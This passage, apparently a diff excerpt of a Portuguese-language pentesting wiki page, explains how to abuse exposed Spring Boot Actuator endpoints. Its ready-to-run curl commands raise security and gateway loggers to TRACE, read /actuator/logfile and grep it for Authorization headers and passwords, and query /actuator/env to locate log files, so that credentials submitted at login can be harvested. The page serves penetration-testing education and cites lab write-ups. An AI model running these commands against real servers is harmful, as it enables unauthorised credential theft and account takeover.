aumentar dinamicamente os níveis de log para DEBUG/TRACE em pacotes que tratam autenticação e processamento de requisições. Combinado com logs legíveis (via `/actuator/logfile` ou caminhos de log conhecidos), isso pode vazar credenciais submetidas durante fluxos de login (por ex., cabeçalhos Basic-Auth ou parâmetros de formulário). + +- Enumere e aumente os loggers sensíveis: +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- Encontre onde os logs são escritos e colete-os: +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- Dispare tráfego de login/autenticação e analise os logs em busca de credenciais. Em arquiteturas de microservices com um gateway na frente da autenticação, habilitar TRACE para pacotes de gateway/segurança frequentemente torna cabeçalhos e corpos de formulário visíveis. Alguns ambientes até geram tráfego de login sintético periodicamente, tornando a coleta trivial uma vez que o logging esteja verboso. + +Observações: +- Restaure os níveis de log quando terminar: `POST /actuator/loggers/` com `{ "configuredLevel": null }`. +- Se `/actuator/httpexchanges` estiver exposto, ele também pode expor metadados de requisições recentes que podem incluir cabeçalhos sensíveis. + + +## Referências + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}